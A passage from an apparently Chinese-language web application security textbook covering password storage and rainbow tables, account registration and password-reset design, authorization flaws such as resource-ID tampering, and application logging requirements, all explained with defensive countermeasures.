$_SESSION\n 变量进行了清空操作，然后又销毁了会话。如果只是退出登录的话，不必对 $_SESSION\n 进行清空操作，但是为了防止以后在退出登录后增加逻辑时不小心发生其他问题，安全起见对这个变量进行了清空处理。\n5.1.8 认证功能总结\n这一节我们介绍了几种能增强系统认证功能安全性的一些方法。用户 / 密码认证作为现在主流的认证方式，可以采用下面的方法来提高其安全性。\n密码可用字符种类和长度的要求\n请参考 5.1.1 节\n请参考 5.1.1 节\n针对暴力破解的对策\n请参考 5.1.2 节\n密码保存方法\n请参考 5.1.3 节\n输入页面和错误信息的需求\n请参考 5.1.5 节\n请参考 5.1.6 节\n此外，本节还介绍了如何安全的实现自动登录和退出登录功能。\n参考：彩虹表原理\n即使攻击者得到了密码的散列值去暴力破解，时间成本还是非常高的，于是有人提出了用反向查找表来提高查询速度的方法。这里所说的反向查找表是指把密码的散列值作为查找表的键（Key），而把密码原文作为查找表的值（Value）存储。表 5-3 是一个的反向查找表例子。\n表 5-3 散列值反向查找表示例\n散列值\n密码\n098f6bcd46\ntest\n5f4dcc3b5a\npassword\n900150983c\nabc\nd16fb36f09\nxyz\n但是如果直接去生成这样一个查找表的话，其大小将会过于庞大。所以有人又设想如果能按照某些规则，做出一个密码 1 →散列值 1 →密码 2 →散列值 2 →密码 3 →散列值 3 →…这样的链表的话，那么我们只需要记住链表的表头和表尾就可以了。这就是彩虹表的最显著特征。\n为了建立这样一个链表，就需要知道如何从一个密码的散列值得到其后面的密码，实现这个功能的函数被称为还原函数（Reduction Function）。还原函数的功能就是从给定的散列值，生成一个符合密码规范（可使用字符种类及密码长度）的新密码字符串。在链表里的不同位置需要使用不同的还原函数，而不能全部使用同一个还原函数。在图 5-13 的例子里，由于一共进行了 3 次散列值还原操作，所以相应地也就需要 3 个还原函数。\n图 5-13 彩虹表的链表结构\n为了能多保存一些密码组合，首先需要选择链表的第一个元素，然后通过计算得到整个链表。在把彩虹表数据保存到文件的时候，只需要记录这个链表的头和尾的元素即可。图 5-14 是彩虹表在文件中保存的大概样子。\n图 5-14 彩虹表的保存方法示例\n下面我们以散列值 a48927 为例来看看如何利用彩虹表来计算出该散列值对应的原密码。最开始检索的时候由于不知道这个散列值在链表的哪个位置上，所以需要对每个位置进行验证。首先，使用还原函数和散列函数分别计算出其在链表各个位置时的链表末尾元素的值，得到的结果是 lookie、abcxyz、root00 这三个值，如图 5-15 所示。\n图 5-15 使用彩虹表进行检索的过程\n接着，依次查找这些产生的密码是否在彩虹表链表的最尾部，就找到了以 root00 为最末元素的链表。然后，在彩虹表里找到相应的链表的头元素，即 system。\n以 system 开始，依次使用散列函数和还原函数进行链表计算，就能发现 system 的散列值就是 a48927，即需要检索的密码原文就是 system。\n彩虹表的数据文件里只保存了每个链表的开头和结尾的元素，其大小只由组成密码的字符种类和密码长度决定，跟具体的散列算法无关。而且彩虹表的算法和具体的散列函数（比如 MD5）本身无关，可以针对任何散列函数创建彩虹表，比如已经有公开的适用于 SHA-1 的彩虹表了。预计今后也会创建针对 SHA-256 的彩虹表。\n参考文献\n［1］Niels Ferguson, Bruce Schneier, Tadayoshi Kohno. (2010). Cryptography Engineering\n . Wiley Publishing, Inc.\n5.2 账号管理\n本节将针对账号（用户）管理实现上需要注意的地方加以说明。在账号管理当中，用户 ID（登录 ID）、密码、邮箱地址等的管理和安全性关联特别紧密。以下功能和这几方面紧密有关，我们将主要对在实现这些功能时需要注意的安全事项进行说明。\n用户注册\n修改密码\n修改邮箱地址\n密码找回\n账号冻结\n账号删除\n5.2.1 用户注册\n用户注册的时候，一般都会需要提供前面提到过的用户 ID、密码、邮箱地址等信息，需要注意的安全事项如下。\n邮箱地址确认\n防止用户 ID 重复\n应对自动用户注册（即程序自动进行的机器人注册，此项内容为非必须事项）\n关于密码的注意事项\n上面第四点关于密码的相关问题，我们在前面的 5.1 节里面已经详细介绍过了，这里将不再讨论。\n另外，除了上面提到的几点之外，用户注册时还容易发生下面两种安全漏洞。\nSQL 注入漏洞（4.4.1 节）\n邮件头注入漏洞（4.9.2 节）\n关于上面两种脆弱性请参考第四章的相关章节。下面我们就开始对用户注册功能的注意事项进行说明。\n邮箱地址确认\n在需要认证的网站里邮箱地址有着举足轻重的地位，除了能够用它来找回密码，还能在修改密码或者账号被锁定时用来发送系统通知。特别是有密码找回功能的网站，如果密码通知邮件错误的发给了其他人邮箱的话，那就变成安全事故了。\n所以在用户注册、修改电子邮箱地址的时候，需要确认用户提供的邮箱是否能收到系统发送的邮件，即进行邮箱的收信确认。具体的话有下面两种方法。\n将带有令牌的 URL 通过邮件发送到用户邮箱，用户在收到邮件点击 URL 后进行后续操作（方法 A）\n用户输入邮箱地址后，转向令牌确认页面。令牌则通过邮件发送到用户输入的电子邮箱地址（方法 B）\n上面两种方法都会给用户指定的邮箱发送令牌，然后通过确认用户输入的令牌来进行邮箱地址合法性的验证。方法 A 和方法 B 不不同的地方是，方法 A 在邮件正文里提供了一个 URL，用户点击 URL 打开网页即可。方法 B 的话则需要用户手工在页面上输入在邮件里收到的令牌。\n方法 A 的处理流程如图 5-16 所示。方法 A 的话在用户在输入邮箱地址后，验证过程会临时停止，等用户收到邮件并点击里面的 URL 后，又会继续后面的验证过程。\n图 5-16 邮件收信确认（方法 A）\n和方法 A 不同的是，方法 B 只在邮件里发送令牌，而不带任何 URL 信息，且页面切换过程不会中断，用户需要在下一页面输入在邮件里收到的令牌。令牌在用户打开邮件之前属于秘密信息，不能放在 hidden 元素里在页面间传递，所以需要将令牌的值保存在会话中。\n图 5-17 邮件收到确认（方法 B）\n下表总结了方法 A 和方法 B 各自的优缺点。\n表 5-4 用户邮箱地址确认方法的优点、缺点\n方法 A\n方法 B\n优点\n用户操作体验较好\n需要长时间确认邮件时也能应对\n不必让用户再去访问其他 URL\n容易实现\n缺点\n实现起来较麻烦\n强迫用户去访问邮件里的 URL 有点不太方便\n有的邮件客户端的可能会把 URL 做截断处理，导致用户点击后没反应或者打开错误的页面\n需要用户输入验证码，对用户来有点麻烦\n如果邮件发送后用户不能立即收到会导致验证失败无法注册\n如果是用手机操作的话可能会比较麻烦\n实际中可能采用更多的是方法 A，但是在邮件里发送 URL 的话，可能会对预防钓鱼攻击措施带来不利影响，所以本书里反而推荐使用方法 B。\n防止用户 ID 重复\n用户 ID，即用户登录名，必须保持唯一性。笔者进行网站的安全咨询工作时，就遇到过能使用重复用户 ID 注册的情况，这里介绍一下笔者见过的用户 ID 重复的例子。\n例子 1：ID 相同密码不同可以注册的网站\n有一个会员系统网站的用户 A 忘了自己的密码，作为尝试将用户 ID 作为密码输入后竟然登录成功了，而且看到的个人信息也都是别人的。\n调查后发现，即使用户 ID 相同，如果密码不同的话也能在这个网站上注册成功。而 A 用户只是偶然地登录进和用户 ID 相同的其他账号而已。\n例子 2：用户 ID 没有添加唯一性约束的网站\n笔者曾负责检查一个网站的安全漏洞，检查发现该网站在经过特殊的操作之后，可以使用重复的用户 ID 注册多个账号。笔者建议网站的管理员在数据库的表定义上给用户 ID 加上唯一（UNIQUE）约束，但是他们的系统在删除用户的时候做的是逻辑删除（即在数据库里给被删除的记录设置删除标记代表用户已被删除），所以不能在表定义上做唯一约束。\n这样的网站在现实中应该为数不少，如果应用程序存在 Bug 的话（比如竞争 / 互斥处理不当等），就可能导致产生重复用户 ID 的问题。\n和例子 1 一样，如果相同的用户 ID 能注册不同的用户的话，就存在用户登录到其他用户账号里的风险。最好是在数据库的定义上把表示用户 ID 的那一列加上唯一约束。如果现实不允许设置这种约束的话，那么至少在应用程序里必须要加入防止用户 ID 重复的逻辑，在处理互斥等操作的时候也要格外细心。\n应对自动用户注册\n如果 Web 站点是能自由注册的话，那么攻击者有时候会通过程序自动注册大量机器人账号。攻击者为了各种目的到处注册大量这种机器人账号，比如在提供邮件服务的网站里注册大量用户，然后用这些用户发送垃圾邮件。\n根据网站性质不同，这种大量自动注册用户带来的威胁也不一样，如果已经预估到这种风险或者已经因这种攻击而带来损失的话，可以采用 CAPTCHA（验证码）来做预防。\n利用 CAPTCHA 防止自动注册\nCAPTCHA（验证码）是通过故意在页面显示经过变形处理的文字等，让用户确认后输入，来验证正在操作的是人而不是机器程序在执行而发明的一种方法。18\n网上有很多公开的在 PHP 等中使用的 CAPTCHA 库，可以根据自己的需求去选择合适的库使用。图 5-18 就是一个面向 PHP 的叫作 cool-php-captcha19\n 的画面截图，这个库基于 GPLv3 许可证方式公开。在使用这样的库的时候，除了要看它们的功能和方便程度之外，许可证也是不可忽略的选择条件之一。\n图 5-18 cool-php-captcha 提供的例子画面\n有时候使用 CAPTCHA 会给用户的使用体验带来负面影响，最近也出现了一些使用声音代替图片的网站。下面的是 Google 用户注册时的 CAPTCHA，点击输入框右边的小喇叭图标的话，就会播放混着杂音的录音，在录音里播放作为验证码的字符。用户可以在收听验证码后输入。\n图 5-19 使用了声音的 CAPTCHA\n如上文所述，使用 CAPTCHA 可以在一定程度上达到阻止程序进行自动用户注册的恶意行为。\n即使在用户注册界面不使用 CAPTCHA 功能，也不能说系统就存在安全上的隐患。但是如果考虑到系统被自动注册大量账号后可能会带来何种损失的话，那么请一定要考虑下使用 CAPTCHA 功能。\n18\n CAPTCHA 是卡内基梅隆大学的注册商标，但是他们在 2008 年 4 月 21 日放弃了该商标的所有权。请参考 http://tsdr.uspto.gov/#caseNumber=78500434&caseType=SERIAL_NO&searchType=statusSearch\n19\nhttps://code.google.com/p/cool-php-captcha/\n5.2.2 修改密码\n这一节我们介绍密码修改功能在安全上需要注意的事项，具体如下。\n需要确认当前密码\n修改密码后向用户发送邮件通知\n另外，在修改密码时可能存在的以下安全漏洞。\nSQL 注入漏洞\nCSRF 漏洞\n下面分别对这几项进行详细说明。\n确认当前密码\n当用户想要修改密码的时候，需要向用户确认当前密码（再认证）。这样做的话能防止会话劫持等情况下攻击者直接修改用户密码。而且，通过再认证，还能防止后面将要提到的 CSRF 漏洞。\n图 5-20 是典型的修改密码的例子。\n图 5-20 修改密码页面的示例\n修改密码后向用户发送邮件通知\n当发生像修改密码这样比较重要的事件时，最好是将具体信息以邮件的方式通知用户。这样即使是攻击者恶意修改了密码，用户也能尽早发现并且采取措施防止受到进一步的损失。\n密码修改功能容易发生的漏洞\n密码修改功能中容易发生的漏洞有以下两点。\nSQL 注入漏洞\nCSRF 漏洞\n如果修改密码的页面存在 SQL 注入漏洞的话，除了 4.4.1 节里讲的常见的 SQL 注入危害以外，还存在以下危害。\n绕过再认证而直接就能修改密码\n修改其他用户的密码\n一次修改所有用户的密码\n此外，如果修改密码页面存在 CSRF 漏洞的话，就会像第 4.5 节里说的那样，存在攻击者在修改掉密码后，使用新密码登录的风险。\n但是如果修改密码时使用上面提到的再认证功能的话，就不存在 CSRF 攻击的风险了。\n5.2.3 修改邮箱地址\n用户修改邮箱地址也会对影响用户安全。如果用户邮箱地址被攻击者恶意修改的话，攻击者就有可能利用密码找回功能得到用户的密码或者设置新的密码。\n典型的被利用来恶意修改用户邮箱地址的攻击方式有以下几种，都是在第 4 章里介绍过的内容。\n会话劫持\nCSRF 攻击\nSQL 注入攻击\n修改邮箱地址功能要考虑的安全对策\n在实现修改邮箱地址功能时，需要考虑到的安全因素包括下面几项。\n对新邮箱地址进行收信确认（请参考 5.2.1 节）\n再认证（请参考上一节）\n邮件通知（请参考上一节）\n修改邮箱地址后的邮件通知，需要给修改前后的两个地址都发送邮件。给旧地址发送邮件的目的是为了在邮箱地址被其他人恶意修改后能够及时通知到真正用户。\n修改邮箱地址时需要的对策总结\n功能方面的对策\n邮箱地址确认\n再认证\n邮件通知（修改前后的两个邮箱地址）\n针对容易发生的漏洞的对策\nSQL 注入漏洞的对策\nCSRF 漏洞的对策（再认证的话可以解决此问题）\n5.2.4 密码找回\n在用户忘记密码时，我们要通过某些手段告知用户密码或者让用户设置新密码，这个功能称为密码找回或者密码重置。\n不管采用什么方法，都需要在确认用户的合法性之后，将密码告知用户或者引导用户设置新密码。把现在的密码告知用户，称为（狭义的）密码找回功能，告诉用户修改后的密码，或者引导用户设置新密码，称为密码重置。在这一节里，我们把这两种方式统称为“密码找回”。\n密码找回分为面向管理员（不是供管理员找回自己的密码，而是管理员操作找回普通用户的密码）和面向最终用户两种。每个应用程序都应该提供面向管理员的密码找回功能，而面向最终用户的密码找回功能则会降低系统的安全系数，所以需要根据自己网站的特点来决定是否需要提供这个功能。\n面向管理员的密码找回功能\n有时候用户可能会忘记自己的密码，这时候他们就会向网站管理员求助。所以网站需要提供供管理员使用的找回密码功能。但是如果在管理员使用的密码找回功能里明文显示密码的话，就有可能存在密码被窃取等安全事故，所以一般都采用密码重置的方式实现。\n管理员根据用户请求找回密码按照下面的流程进行处理。\n1. 收到用户找回密码请求，对请求者进行身份验证\n2. 管理员重置密码，将临时密码告诉用户\n3. 用户使用临时密码登录后，立即修改密码\n在第一步用户本人操作确认中，最常用的方法是通过电话确认用户注册时填写的个人资料等信息。但是这样很容易产生假冒他人的问题，所以需要根据自己网站的实际情况，选择最合适的确认用户合法性的方法。比如网银一般都会要求用户提供申请书并且加盖注册时使用的印章，然后将重置的密码通过信件邮寄给用户 20\n 。\n20\n 根据银行不同，也有提供通过电话或者网站重置密码的。\n在对用户进行身份合法性进行验证之后，需要将重置后的密码告诉用户，一般来说最好不直接通过电话，而是使用管理程序通过电子邮件通知用户。其原因有以下几条。\n管理员或者用户都不会看到密码，不会造成密码泄露\n如果有人冒名打来电话，能减少密码泄漏的风险\n不管哪种情况，用户在收到重置的密码后应该立即修改密码。为了实现这个目的，可以使用“临时密码”，临时密码是只能用来修改自己密码的密码。用户只有在修改密码后，才能继续使用全部功能。\n这里我们总结一下，供管理员使用的密码重置功能的需求有以下几点。\n验证用户合法性时显示个人信息（通过电话或者书面确认）\n生成临时密码并告知用户。临时密码不直接在屏幕上显示而是通过邮件发送\n临时密码只能在登录后用来修改密码\n面向用户的密码找回功能\n忘记自己密码的用户可以通过面向用户的密码找回功能 21\n 找回自己的密码或者重置密码。面向用户的密码找回功能也沿用在确认操作者的合法身份后再向用户发送密码通知的流程。下面我们对此进行详细说明。\n21\n 单说“密码找回”一般多指面向个人用户的“密码找回”功能。\n对用户进行身份确认\n面向个人用户的密码找回功能通常使用下面方法来确认操作者的合法性\n让用户在注册时设置安全问题和答案，在用户找回密码时进行确认\n通过向注册的邮箱地址发送邮件确认用户的合法性\n但是上面的这两种方法都存在用户被冒充的可能性，第一种方法里如果安全问题是类似“你母亲的姓”之类的话，答案很容易被第三者知道。如果采用第二种方法的话，如果邮件是不加密发送的话，也存在着被监听的风险。\n所以要认识到，在实现供用户找回密码功能的时候，存在用户被冒充的风险，只有在能接受这个风险的基础上再去实现这个功能。\n如何发送密码通知\n在确认了用户的合法性身份之后就要通知用户密码信息了，如何实现通知，有下面 4 种方法可以选择。\n（A）通过邮件发送现在的密码\n（B）发送供用户修改密码的 URL\n（C）通过邮件发送临时密码\n（D）直接转向修改密码页面\n在本书里我们推荐使用（C）或者（D）方法。\n方法（A）首先给人一种密码没有被加密的不安全感，其次，现在密码不是临时密码，万一被监听并盗取的话，在用户不知情的情况下可能会被持续盗用。所以不建议使用方法（A）。\n（B）的话有一种强迫让用户养成查看邮件里附带的 URL 习惯的感觉，笔者觉得不是很好。\n（C）虽然也存在被监听的风险，但是即使临时密码被攻击者得到并修改密码，用户会立刻收到修改密码的邮件通知，因为此时用户本人肯定还没有修改密码，所以立即可以知道之前的临时密码一定是被别人恶意盗用了。使用方法（C）的大致流程如图 5-21 所示。\n图 5-21 方法（C）操作流程示例\n在这种方法里需要注意的是，在用户输入系统不存在的邮箱地址时，也要显示保密问题确认页面。如果不这么做的话，攻击者一下子就能知道所使用的邮箱地址是否已经注册过了。所以需要在系统里保存一些预置的保密问题，当用户输入的邮箱地址不存在时，选择一个保密问题显示。当然，这时候用户无论怎么回答结果应该都是错误的。另外，对于同一个邮箱地址，每次显示的预置保密问题也应该是同一个。\n在上面的操作过程中，确认保密问题是不可省略的一步。如果省略了，则随便谁都可以简单的把其他人的密码置为无效了。即使不能置为无效，也会发送重置密码邮件，给真正的用户带来困扰。\n发送给用户的临时密码只能用于修改密码。此外用户在修改密码时，要通过邮件通知用户（请参考 5.2.2 节）。\n下面图 5-22 是方法（D）的操作流程示意图。\n图 5-22 方法（D）操作流程示例\n（D）方法不会向用户发送临时密码，为了确认邮箱使用了令牌机制。另外，由于已经验证过了令牌，所以后面的“保密问题”步骤可以省略。\n在用这种方式去实现密码找回通知的时候，需要注意下面几点。\n首先，即使用户输入的邮箱地址不存在，也不显示错误信息，而仍然显示令牌确认页面。这么做是为了防止有人能通过观察输入不存在邮箱地址后的页面来判断出该邮件是否已经注册了。\n其次，为了防止针对验证码（令牌）的暴力破解，可以考虑在验证码验证错误次数或者密码重置次数超过一定值之后，将账户冻结。但是，用户被冻结这件事在页面上不做任何提示，而是给真正的用户发送邮件，指引其向客服寻求帮助。\n5.2.5 账号冻结\n针对特定的账号，如果在安全性上出现什么问题的话，有时候我们可能会暂时冻结该账号。具体可能导致账号被冻结的可能原因有如下几点。\n用户本人要求冻结（比如 PC 被偷了、手机丢了，或者收到了密码被修改的邮件等）\n账号被非法使用的时候\n除了上述行为之外，在用户违反了网站的使用规范等其他情况下也可能导致账号被冻结。\n应该给管理员提供账号冻结及解锁的功能，并且像 5.2.4 节所提到那样，如果是用户自己要求冻结账号或者解锁的话，需要先进行用户的身份确认，然后再进行相应的操作。\n5.2.6 账号删除\n账号删除通常来说是不可恢复的操作，为了确认用户是否真的想删除账号，且为了预防 CSRF 漏洞，最好在操作时进行密码确认（再认证）。\n除此之外容易在账号删除功能里出现的漏洞是 SQL 注入漏洞。\n5.2.7 账号管理总结\n这一节里我们对账户管理方面安全性上的注意事项做出了说明。下面我们总结了在各个功能里都需要注意的事项。\n用户输入的电子邮箱地址一定要确认收信\n进行重要操作的时候进行再认证\n执行重要的处理后发邮件通知\n另外，在账号管理里比较容易发生的安全漏洞也有下面几个。\nSQL 注入漏洞\nCSRF 漏洞\n邮件头注入漏洞（邮箱地址注册、修改时）\n5.3 授权\n在本节中我们将介绍授权（Authorization）控制（访问控制）。\n5.3.1 什么是授权\n授权指的是给认证为合法的用户分配相应的权限，下面是一些权限的例子。\n只有认证用户才能使用的功能\n销户处理、转账、创建新用户（以管理员身份）等\n只有认证用户才能查看的信息\n非公开的用户私人信息、非公开的他人的个人信息（以管理员身份）、非公开的论坛内容、WebMail 等\n只有认证用户才能执行的修改操作\n用户本人的信息修改（密码、个人简介、页面设置等）、修改他人的个人信息（以管理员身份）、从 WebMail 发送邮件等\n授权系统存在漏洞的话，会导致个人信息泄漏、权限被恶意使用等众多安全上的问题。\n5.3.2 典型的授权漏洞\n在这一节我们介绍比较有代表性的不合理的授权实现案例。\n更改资源 ID 后可以查看没有权限查看的信息\n很多 URL 里面都包含表示特定资源的 ID（这里我们叫作资源 ID），如果权限管理做的不够充分的话，那么有可能只通过修改 URL 里的这个 ID 就能查看本来没有权限查看或者修改的数据。\n我们下面以图 5-23 的例子进行说明。图 5-23 显示的是登录 ID 为 yamada 的用户在登录网站后，查看自己个人信息的页面流程。个人资料表示页面（图右侧）的 URL 里面包括了要查看的资源 ID“id=yamada”这一查询字符串。\n图 5-23 用户确认个人资料的页面流程\n如果权限控制实现存在漏洞的话，我们可能只需要把这个 URL 里的 id=yamada 换成别人的用户 ID，那么就有可能查看本来无权查看的其他人的个人信息了。比如把 id 换为 id=sato 的话，就能查看 sato 的个人资料了。如图 5-24 所示。\n图 5-24 通过修改资源 ID 查看别人的个人信息\n这个例子里资源 ID 是放到 URL 里的，所以出现漏洞很容易理解。即使将资源 ID 通过 hidden 参数放到 POST 里，或者放到 Cookie 里，还是不能避免同样问题的。如果开发人员大意地认为 hidden 或者 Cookie 里的值不会被人修改的话，就可能因疏忽而导致发生类似的安全漏洞。\n在这个例子里资源 ID 是用户 ID，在其他系统里它可能会是交易 ID、文档 ID、邮件消息 ID 等。不管哪种系统，都可能存在风险，只通过修改资源 ID 就能查看、修改甚至删除等。\n只控制菜单的显示或不显示\n第二个权限管理的失败例子是只做菜单显示和不显示上的控制。图 5-25 是这样的一个例子。图里显示的是一个作为管理员登录的页面跳转关系。\n在这个例子里，如图 5-25 所示，在顶级菜单有指向管理员和普通用户的链接。\n图 5-25 管理员登录时的页面流程\n下面再来看看面向普通用户的登录流程，如图 5-26 所示。普通用户的顶级页面里只显示了一个指向普通用户功能的链接，但是如果从普通用户页面的 URL 里的 a001.php 推测管理员的网址，并在浏览器里尝试访问 b001.php 的话，就会看到管理员的功能了，也许还能够使用里面的功能。\n图 5-26 普通用户通过修改 URL 访问管理员功能\n在这个例子中，如果用户想越过自己的权限使用其他功能的话，需要知道其 URL。得到 URL 的具体方法有以下几种。\n根据规则按顺序尝试 URL 中的字母或者数字（如图 5-26 所示）\n尝试 admin 或者 root、manage 等管理员功能菜单里频繁使用的词汇\n在曾经拥有权限的时候记住 URL 地址，在失去权限后利用记住的 URL 访问管理员功能\n拿最后的例子来说，即使把管理菜单的 URL 做得很难被推测，也还是存在被恶意使用的可能性的。\n使用 hidden 参数或者 Cookie 保存权限信息\n授权漏洞的第三种类型就是使用 hidden 参数或者 Cookie 来保存权限信息的情况。比如通过设置一个 userkind=admin 的 Cookie 就能使用户能够使用管理员功能这样的网站。\n在这种情况下，该 Cookie 很容易让人推测出管理员的 Cookie 值，即使使用数字作为用户类型，也同样存在被恶意使用的可能性。\n授权漏洞总结\n在本小节我们对授权中存在的 3 种类型的漏洞进行了说明。这些漏洞的共同问题在于如果对 URL、hidden 参数、Cookie 进行篡改的话，就可以非法使用网站的正常功能了。\n要想正确实现授权功能，需要将权限信息保存到会话变量中去，这样攻击者就不能篡改权限信息了。并且在进行页面显示或者处理之前，还需要对用户权限进行检查。\n专栏：将私密信息嵌入 URL 进行授权处理\n也有不通过认证或会话管理技术来实现授权的方法，那就是在 URL 中嵌入一些私密信息，使只有知道这个 URL 的人才能访问。\n将私密信息嵌入到 URL 中，有下面 3 种方法。\n将 URL 中的文件名设为非常长的难以推测的随机字符串\n在 URL 中嵌入一个令牌\n在 URL 中嵌入访问票（Access Ticket）\n但不管是哪种实现方式，在 URL 中嵌入私密信息的做法我们都是不推荐的。因为这违反了采用 POST 方法发送私密信息的原则（请参考 3.1 节），而且还存在下面列出的一些非常现实的风险。此外，它还会导致个人信息泄露。\n通过 Referer 泄露 URL\n用户自己将 URL 发布到论坛等地方将 URL 公开\n搜索引擎可能会收录含有私密信息的 URL\n因此原则上应该禁止采用在 URL 中嵌入私密信息的方式来进行授权，如果迫不得已不得不使用该方式的话，那么应该将 URL 的可访问时限限制在最短范围内，并且向用户强调公开此 URL 的危险性。\n5.3.3 授权管理的需求设计\n要想正确实现授权功能，必须先要在需求层次上进行必要的设计。笔者在检查漏洞工作中参加过很多次关于授权的审查，但是还从来没有看到过有谁能拿出书面的授权设计文档，来说明他们认为的“授权应该是怎样的”。更多情况下他们是潜意识里认为授权管理就是应该那么去做的。\n在做权限管理的设计时，可以先创建一个权限矩阵表。下面以一个权限管理比较复杂的应用场景 ASP（Application Service Provider）为例，来看一下如何创建权限矩阵表，如图 5-27 所示。例子中的应用以 ASP 的形式，被公司 A、公司 B、公司 C 所使用。用户中除了整个系统的管理员以外，各个公司还有自己内部的企业管理者用来管理自己公司的员工等。\n图 5-27 ASP 服务的例子\n表 5-5 权限矩阵的例子\n系统管理员\n企业管理者\n普通用户\n添加公司\n○\n×\n×\n添加、删除企业管理者\n○\n×\n×\n添加、删除公司员工用户\n○\n○\n×\n修改自己密码\n○\n○\n○\n修改别人密码\n○\n○（只限本公司用户）\n×\n如果我们在设计的时候创建了这样的权限矩阵，就能正确地进行后面的开发和测试。\n专栏：什么是角色\n表 5-5 里的“系统管理员”“企业管理者”“普通用户”一般我们管他们叫作角色（Role）。角色是指拥有一组权限，并用能表现其职责的词汇来命名的称呼。表 5-5 同时很好地解释了角色定义的问题。\n角色和用户是不同的概念，用户以某一角色在系统中进行各种活动。\n笔者不推荐在实践中不使用角色，而只使用类似 admin 或者 root 这样一看就是管理员用户的方法，原因有如下两点。\n如果有多个管理员的话，事后调查会比较困难\n管理员密码被多人公用，容易发生安全事故\n所以，应该以一人一个 ID 的原则为每个用户创建 ID，并根据各人的职责不同分配不同的角色。\n5.3.4 如何正确实现授权管理\n用户授权出现漏洞的时候，很多原因都是只想在页面显示中进行权限控制，这是不充分的。正确的方法是在任何操作之前都应该进行如下检查。\n用户是否可以访问该页面（脚本）\n是否有操作（查看、修改、删除等）该资源的权限\n用户信息应该保存在会话变量里，以防止被人篡改。这不光是安全授权的要求，也是保存用户认证信息的原则。\n根据保存在会话里的用户 ID 检查权限\n权限信息不能保存在 Cookie 或者 hidden 参数里\n5.3.5 总结\n在本节中我们介绍了在实现授权管理中容易发生的安全性问题，以及如何正确地去设计授权系统。\n我们也介绍了，容易导致授权管理漏洞发生的原因，其一就是由于开发者认为存放在 URL 或者表单的 hidden 参数、Cookie 等内容不会被篡改。正确的实现方法是将这些关键信息都保存在不能被随意篡改的会话里，并在需要指定权限才能进行的操作之前进行权限检查。\n5.4 日志输出\n应用程序输出的日志在安全方面上也有很重要的意义，下面我们就看看应该如何去考虑日志的输出。\n5.4.1 日志输出的目的\n应用程序的日志之所以在安全方面有重要意义，原因有以下 3 点。\n通过日志发现被攻击或者事故的先兆，可以防患未然\n用于在遭受攻击或者发生事故后进行事后调查\n用于进行应用程序的运维审查\n在 5.1 节里我们已经对从日志里发现攻击预兆进行了说明。如果日志里记录的尝试登录或者登录失败的次数比平时多的话，则很可能是受到了外部攻击。如果想做类似的调查，那么日志里必须要记录尝试登录及登录结果的信息才行。\n另一方面，如果 Web 应用受到攻击后发生损失，也需要对攻击的详细情况进行深入的调查，这时候日志文件也是不可或缺的。如果日志没保存下来，或者保存的信息不足，要想做更深入的调查就比较困难了。\n5.4.2 日志种类\nWeb 应用里面涉及的日志大概有以下几种。\nWeb 服务器（Apache、IIS 等）的日志\n应用程序的日志\n数据库的日志\n这三种日志都是必不可少的，我们这里仅对应用程序的日志做详细说明。应用程序的日志也可以细分为下面几类。\n错误日志\n访问（Access）日志\n调试（DeBug）日志\n下面分别说明这 3 种类型的日志。\n错误日志\n错误日志，顾名思义，就是记录应用程序里出现的各种错误信息的日志。当 Web 应用程序内部发生错误的时候，除了在页面内显示给用户诸如“服务器忙，请稍候再试”等信息外，还要将错误的详细情况及原因等记录到日志里。之所以这么做，是因为将错误的详细信息显示给用户，除了使用户困惑以外毫无用处，而且还可能会给攻击者提供攻击线索。而记录到日志里，能为调查或者发现问题提供方便。\n错误日志也可以用来检测攻击。比如攻击者在尝试 SQL 注入或者目录遍历攻击的时候，日志中应该存在很多 SQL 错误或者文件打开错误。这些错误正常情况下应该是很少发生的，如果持续发生这样的错误的话，就要怀疑系统是否正在遭受攻击。即使这些错误日志不是由于攻击造成的，考虑到提高应用程序的稳定性，也应该对此类错误进行详细调查并进行修改。\n访问日志\n访问日志是 Web 应用程序里记录用户访问某资源或者使用某功能的日志。和错误日志不同的是，不管是正常还是异常的访问，都需要记录到访问日志里。\nWeb 应用程序刚出现的时候（大概在 2004 年之前），多数应用程序中只记录错误日志，也就是说很多异常情况虽然都在应用程序日志里记录下来，但是正常情况的日志还都基本依赖于 Web 服务器记录。不过之后为了应对个人信息泄漏事件等，人们也开始逐渐重视起正常的访问日志来了。\n为了达到前面 5.4.1 节里说的日志的 3 个目标的要求，记录正常的访问日志也是很重要的。\n另外，很多法律、规范等也要求应用保存访问日志。比如在日本至少就有《个人信息保护法》、《金融商品交易法》以及《Payment Card Industry（PCI）数据安全法规（PCI-DSS）》等法律、法规等对个人信息、访问日志等做出了明确的规定。\n调试日志\n调式日志，顾名思义，是用来输出调试信息的日志。调试日志输出量太大的话，可能会影对系统的性能造成影响。而且，如果调试日志输出的内容过于详细甚至包括敏感信息的话，还可能带来个人信息泄露问题。调试日志一般只在开发或者测试环境中输出，在生产环境下则不应该输出调试日志。\n5.4.3 有关日志输出的需求\n这一节我们将对在设计时要考虑的日志相关的需求加以说明。\n需要记录到日志里的所有事件\n日志里应包括的信息和格式\n日志文件保护\n日志文件保存位置\n日志文件保存期限\n服务器的时间调整\n需要记录到日志里的所有事件\n需要记录到日志里的事件类型，既不能过多也不能太少，要根据日志的使用目的来决定都需要记录哪些事件。一般来说涉及下面列举得用户认证、账号管理等重要信息及操作，需要记录到日志里。\n登录、退出（包括成功和失败两种情况）\n账号冻结\n用户注册、删除\n修改密码\n查看重要信息\n重要操作（购买、转账支付、发送邮件等）\n日志里应包括的信息和格式\n日志里面需要记载的信息，根据 4W1H（When、Who、Where、What、How）的原则，应该包括下面列出的一些内容。\n访问时间\n远程 IP 地址\n用户 ID\n访问资源对象（URL、页面编号、脚本 ID 等）\n操作类型（查看、修改、删除等）\n操作对象（资源 ID 等）\n操作结果（成功或者失败、处理记录数量等）\n另外，系统监查可能需要查询很多种类型的日志，所以日志的格式最好统一，以方便日后查看。\n日志文件保护\n如果日志文件被篡改或者删除的话，那么其存在的意义也就没有了，所以对日志文件自身的安全也必须给以足够的重视并加以保护。除了文件被破坏以外，由于日志中还可能包含个人信息或者其他敏感信息等，也应该限制只有有相关权限的人才能查看日志。\n为了保护日志文件，尽可能将其保存在 Web 